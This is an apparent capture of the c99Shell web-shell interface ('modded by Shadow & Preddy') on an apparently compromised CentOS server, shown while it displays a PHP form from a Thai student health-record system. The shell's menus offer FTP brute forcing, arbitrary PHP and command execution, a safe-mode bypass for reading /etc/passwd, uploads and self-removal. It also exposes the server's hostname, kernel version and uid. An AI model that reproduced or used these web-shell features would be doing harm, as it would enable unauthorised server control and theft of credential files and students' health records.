!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/esa/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_add_health.php (13.22 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<link rel="stylesheet" href="<?=base_url();?>/js/textboxlist_proto/textboxlist.css" type="text/css" media="screen" title="Test Stylesheet" charset="utf-8" />
<script src="<?=base_url();?>/js/textboxlist_proto/protoculous-effects-shrinkvars.js" type="text/javascript" charset="utf-8"></script>
<script src="<?=base_url();?>/js/textboxlist_proto/textboxlist.js" type="text/javascript" charset="utf-8"></script>
<script src="<?=base_url();?>/js/textboxlist_proto/textboxlistauto.js" type="text/javascript" charset="utf-8"></script>
<script type="text/javascript" src="<?=base_url()."fancybox/jquery.mousewheel-3.0.4.pack.js"?>"></script>
<script type="text/javascript" src="<?=base_url()."fancybox/jquery.fancybox-1.3.4.pack.js"?>"></script>
<link rel="stylesheet" type="text/css" href="<?=base_url()."fancybox/jquery.fancybox-1.3.4.css"?>" media="screen" />
<script type="text/javascript">
document.observe('dom:loaded', function() {
  // init
    tlist1 = new FacebookList('wk11_co', 'wk11_auto');
    var get_user_list_url = "<?php echo site_url($this->config->item('sa_folder').'search/get_std_list')?>";
  // fetch and feed
    new Ajax.Request(get_user_list_url, {
    onSuccess: function(transport) {
        transport.responseText.evalJSON(true).each(function(t){tlist1.autoFeed(t)});
    }
    });
});


Element.addMethods({
    onBoxDispose: function(item,obj) { obj.autoFeed(item.retrieveData('text')); },
    onInputFocus: function(el,obj) { obj.autoShow(); },    
    onInputBlur: function(el,obj) { 
      obj.lastinput = el;
      obj.blurhide = obj.autoHide.bind(obj).delay(0.1);
    },
    filter:function(D,E){var C=[];for(var B=0,A=this.length;B<A;B++){if(D.call(E,this[B],B,this)){C.push(this[B]);}}return C;}
});

function do_submit (action) {
    
    
    if (action) {
        jQuery("#myform").attr('action', action);
    }

    var hth_id = jQuery("#hth_id").val();
    if (hth_id == '') {
        tlist1.update();
    }
    
    if(jQuery("#bmi_set").val()==""){
        alert("กรุณาเลือกชุดดัชนีมวลกาย");
        return false;
    }
    var hi = parseFloat(jQuery("#hth_height").val())/100;
    var we = parseFloat(jQuery("#hth_weight").val());
    var bmi = we/(hi*hi);
    var url = "<?php echo site_url($this->config->item('sa_folder').'health/check_bmi')?>";
    var flash = 0;
    jQuery.ajax({
        type: "POST",
        async: false,
        url: url,
        global: true,
        data: "ran="+Math.random()+"&bmi="+bmi+"&set="+jQuery("#bmi_set").val(),
        //dataType: "json",
        //dataCharset: 'json',
        success: function(res){
            if(res=="N"){
                flash++
            }
        }
    });
    
    /*if(flash!=0){
        alert("ค่าดัชนีมวลกายเท่ากับ "+bmi+" ไม่ตรงกับข้อมูลในชุดดัชนีมวลกาย");
        return false;
    }
*/

    if(action==undefined){
        jQuery("#myform").submit();
    }else{
        jQuery("#myform2").submit();
    }
}

jQuery(function() {
    jQuery(".various1").fancybox({
        'autoDimensions' : false,
        'width' : '50%',
        'height' : 'auto',
        'onStart' : function() {
            jQuery.ajax({
                url: "<?echo site_url()."/".$this->config->item('sa_folder');?>health/loadBmiTB",
                global: false,
                type: "POST",
                data: "grp="+jQuery.trim(jQuery("#bmi_set").val())+"&ran="+Math.random(),
                dataType: "json",
                dataCharset: 'json',
                async:false,
                success: function(data) 
                {   
                    if(data.length>0){
                        jQuery('#inline1').html(data[0].tb);
                    }else{
                        alert("ไม่พบข้อมูลดัชนีมวลกาย");
                    }
                }
            });
        }    
    });

    checkLoad();
    jQuery("#bmi_set").change(function(){
        if(this.value==""){
            jQuery(".various1").hide();
        }else{
            jQuery(".various1").show();
        }
    });
});

function checkLoad(){
    if(this.value==null){
        jQuery(".various1").hide();
    }
    
    var bmi = "<?echo isset($qu_bmi2) ? "OK"NULL;?>";
    if(bmi=="OK"){
        jQuery(".various1").show();
    }
}
</script>
<?php
$row_hth 
= isset($qu_hth) ? $qu_hth->row() : NULL;
$row_bmi2 = isset($qu_bmi2) ? $qu_bmi2->row() : NULL;

$attributes = array('id' => 'myform''name' => 'myform');
echo 
form_open($this->config->item('sa_folder').'health/hth_insert_update'$attributes);
?>
<table width="100%" border="0">
<tr>
    <td align="center">
<table width="60%" border="0">
        <tr>
            <th colspan="2" align="center"><span>บันทึกประวัติสุขภาพและป่วยเป็นโรค</span>
            <?php echo $this->session->flashdata('err_BMI'); ?>
            </th>
        </tr>
        <tr>
            <td align="right"><?php echo anchor($this->config->item('sa_folder').'health/hth_report'img($this->config->item('sa_image_print')));?><br /></td>
        </tr>
    <tr>
        <td >
    <table class="szone2" width="100%" border="0">
<?php
        
if (isset($qu_hth)) {
?>
        <tr>
            <th>รหัส/ชื่อ-สกุลนักศึกษา</th>
            <td><?php echo getval('stdCode'$row_hth).': '.getval('stdName'$row_hth).' '.getval('stdSurname'$row_hth);?>
            <input type="hidden" id="std" name="std" value="<?php echo getval('stdCode'$row_hth).': '.getval('stdName'$row_hth).' '.getval('stdSurname'$row_hth).'###';?>" />
            <span class="error"><?php echo form_error('std');?></span>
            </td>
        </tr>
<?php
        
} else {
?>
        <tr>
            <th>รหัส/ชื่อ-สกุลนักศึกษา</th>
            <td><input type="text" id="wk11_co" name="wk11_co" value="" />
            <div id="wk11_auto">
                <div class="default">กรุณากรอกรหัส/ชื่อ-สกุลนักศึกษา</div>
                <ul class="feed"></ul>
            </div>
            <span class="error"><?php echo form_error('wk11_co');?></span></td>
        </tr>
<?php
        
}
?>
        <tr>
            <th>โรค</th>
            <td><input type="text" id="hth_disease" name="hth_disease" value="<?php echo getval('hth_disease'$row_hth);?>" />
            <span class="error">* <?php echo form_error('hth_disease');?></span></td>
        </tr>
        <tr>
            <th>อาการ</th>
            <td><input type="text" id="hth_symptom" name="hth_symptom" value="<?php echo getval('hth_symptom'$row_hth);?>" />
            <span class="error">* <?php echo form_error('hth_symptom');?></span></td>
        </tr>
        <tr>
            <th>ผลการตรวจต่างๆ</th>
            <td><input type="text" id="hth_diagnose" name="hth_diagnose" value="<?php echo getval('hth_diagnose'$row_hth);?>" />
            <span class="error"><?php echo form_error('hth_diagnose');?></span></td>
        </tr>
        <tr>
            <th>การรักษาและคำแนะนำ</th>
            <td><input type="text" id="hth_treatment" name="hth_treatment" value="<?php echo getval('hth_treatment'$row_hth);?>" />
            <span class="error"><?php echo form_error('hth_treatment');?></span></td>
        </tr>
        <tr>
            <th>ผลการรักษา</th>
            <td><input type="text" id="hth_result_diagnose" name="hth_result_diagnose" value="<?php echo getval('hth_result_diagnose'$row_hth);?>" />
            <span class="error"><?php echo form_error('hth_result_diagnose');?></span></td>
        </tr>
        <tr>
            <th>สถานที่รักษา</th>
            <td><input type="text" id="hth_place" name="hth_place" value="<?php echo getval('hth_place'$row_hth);?>" /></td>
        </tr>
        <tr>
            <th>สถานะการนอนรักษาตัว <?echo getval('hth_pd'$row_hth);?></th>
            <td><input type="checkbox" id="hth_pd" name="hth_pd" value="IPD" <?php echo (getval('hth_pd'$row_hth)=="IPD")?  "checked":set_checkbox('hth_pd'getval('hth_pd'$row_hth)); ?>> IPD</td>
        </tr>
<!--        <tr>
            <th>ชุดดัชนีมวลกาย</th>
            <td><?
            $js 
'id="bmi_set"';
            
$re = (getval('hth_result_BMI'$row_hth)!=0)? set_value('bmi_set'getval('bmi_group'$row_bmi2)):set_value('bmi_set''bmi_set');
            echo 
form_dropdown('bmi_set'$qu_bmi,$re ,$js);?>
            <a class="various1" href="#inline1" title="ตารางแสดงชุดดัชนีมวลกาย" target="top"><?php echo img($this->config->item('sa_image_show_health'));?></a><span class="error"><?php echo form_error('bmi_set');?></span></td>
        </tr>
-->
        <tr>
            <th>น้ำหนัก</th>
            <td><input type="text" id="hth_weight" name="hth_weight" size="4" maxlength="6" value="<?php echo getval('hth_weight'$row_hth);?>" size="5" maxlength="5" />
            <span class="error"><?php echo form_error('hth_weight');?></span></td>
        </tr>
        <tr>
            <th>ส่วนสูง</th>
            <td><input type="text" id="hth_height" name="hth_height" size="4" maxlength="3" value="<?php echo getval('hth_height'$row_hth);?>" size="5" maxlength="5" />
            <span class="error"><?php echo form_error('hth_height');?></span></td>
        </tr>
        <tr>
            <th>เส้นรอบเอว</th>
            <td><input type="text" id="hth_waist" name="hth_waist" value="<?php echo getval('hth_waist'$row_hth);?>" size="5" maxlength="5" />
            <span class="error"><?php echo form_error('hth_waist');?></span></td>
        </tr>
        <tr>
            <th>วัคซีน</th>
            <td><input type="text" id="hth_vaccine" name="hth_vaccine" value="<?php echo getval('hth_vaccine'$row_hth);?>" />
            <span class="error"><?php echo form_error('hth_vaccine');?></span></td>
        </tr>
        <tr>
            <th>x-ray</th>
            <td><input type="text" id="hth_xray" name="hth_xray" value="<?php echo getval('hth_xray'$row_hth);?>" />
            <span class="error"><?php echo form_error('hth_xray');?></span></td>
        </tr>
        <tr>
            <th>วันที่เริ่มต้น</th>
            <td><script>DateInput('hth_fr_date', true, 'DD/MM/YYYY',"<?php echo set_value('hth_fr_date') ? set_value('hth_fr_date') : splitDateDb2(getval('hth_fr_date'$row_hthgetNowDate()), '/');?>");</script>
            <span class="error"><?php echo form_error('hth_fr_date');?></span></td>
        </tr>
        <tr>
            <th>วันที่สิ้นสุด</th>
            <td><script>DateInput('hth_to_date', true, 'DD/MM/YYYY',"<?php echo set_value('hth_to_date') ? set_value('hth_to_date') : splitDateDb2(getval('hth_to_date'$row_hthgetNowDate()), '/');?>");</script>
            <span class="error"><?php echo form_error('hth_to_date');?></span></td>
        </tr>
        <tr>
            <td colspan="2" align="center"><input type="button" id="btnSubmit" name="btnSubmit" value="บันทึก" onClick="do_submit()" />
            <input type="submit" id="btnCancel" name="btnCancel" value="ยกเลิก" />
            <input type="hidden" id="hth_id" name="hth_id" value="<?php echo getval('hth_id'$row_hth);?>" /></td>
        </tr>
</table>
        </td>
    </tr>
</table>
    </td>
</tr>
</table>
<?php echo form_close();

$attributes = array('id' => 'myform2''name' => 'myform2');
echo 
form_open($this->config->item('sa_folder').'health/hth_input'$attributes);
?>
<div align='right'>รหัส/ชื่อ-สกุลนักศึกษา : <input type="text" id="v_search" name="v_search" value="<?=$v_search;?>" /><input type="button" id="btnSearch" name="btnSearch" value="ค้นหา" onClick="do_submit('<?php echo site_url($this->config->item('sa_folder').'health/hth_input');?>')" /></div>
<?php echo form_close();?>
<table class="tb_1" width="100%">
    <thead>
        <tr>
            <th>ลำดับ</th>
            <!--<th>รหัสนักศึกษา</th>!-->
            <th>ชื่อ-สกุลนักศึกษา</th>
            <th>ป่วยเป็นโรค</th>
            <!--<th>การรักษา</th>
            <th>วิธีการรักษา</th>!-->
            <th>สถานที่รักษา</th>
            <th>วันที่เริ่มต้น</th>
            <th>วันที่สิ้นสุด</th>
            <th>แก้ไข</th>
            <th>ลบ</th>
        </tr>
        <!--<tr>
            <td align="center">1</td>
            <td align="center">541601001</td>
            <td>นางสาวกมลวรรณ สุขวิเศษ</td>
            <td>ไข้หวัด 2009</td>
            <td>พักผ่อนให้มากๆ</td>
            <td>ฉีดวัคซีน</td>
            <td>โรงพยาบาลชลบุรี</td>
            <td>1 ก.ย. 2554</td>
            <td>1 ก.ย. 2554</td>
            <td align="center"><?php echo img($this->config->item('sa_image_reply'));?></td>
            <td align="center"><?php echo img($this->config->item('sa_image_del'));?></td>
        </tr>!-->
    </thead>
    <tbody>
<?php
        $i 
1;
        if (isset(
$rs_hth)) {
            foreach (
$rs_hth->result() as $row_hth) {
?>
        <tr >
            <td height="22" align="center"><?php echo $i;?></td>
            <!--<td align="center"><?php echo $row_hth->stdCode;?></td>!-->
            <td><?php echo $row_hth->stdCode.' '.$row_hth->prefixName.$row_hth->stdName.' '.$row_hth->stdSurname;?></td>
            <td><?php echo $row_hth->hth_disease.'/'.$row_hth->hth_symptom;?></td>
            <!--<td><?php echo $row_hth->hth_treatment;?></td>
            <td><?php echo $row_hth->hth_result_diagnose;?></td>!-->
            <td><?php echo $row_hth->hth_place;?></td>
            <td align="center"><?php echo abbreDate2($row_hth->hth_fr_date);?></td>
            <td align="center"><?php echo abbreDate2($row_hth->hth_to_date);?></td>
            <td align="center"><span class="hand" onClick="sendPost('myform', {'hth_id':<?php echo $row_hth->hth_id;?>}, 'hth_input')"><?php echo img($this->config->item('sa_image_reply'));?></span></td>
            <td align="center"><span class="hand" onClick="if (confirm('ต้องการลบใช่หรือไม่')) { sendPost('hidform', {'hth_id':<?php echo $row_hth->hth_id;?>}, 'hth_delete'); }"><?php echo img($this->config->item('sa_image_del'));?></span></td>
        </tr>
<?php
                $i
++;
            }
        }

        if (
$i == 1) {
?>
        <tr class="notfound">
            <td colspan="11"><?php echo $this->config->item('sa_not_found');?></td>
        </tr>
<?php
        
}
?>
    </tbody>
</table>

<!--dialog!-->
<div style="display: none;">
    <div id="inline1" align="center">
        
    </div>
</div>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0133 ]--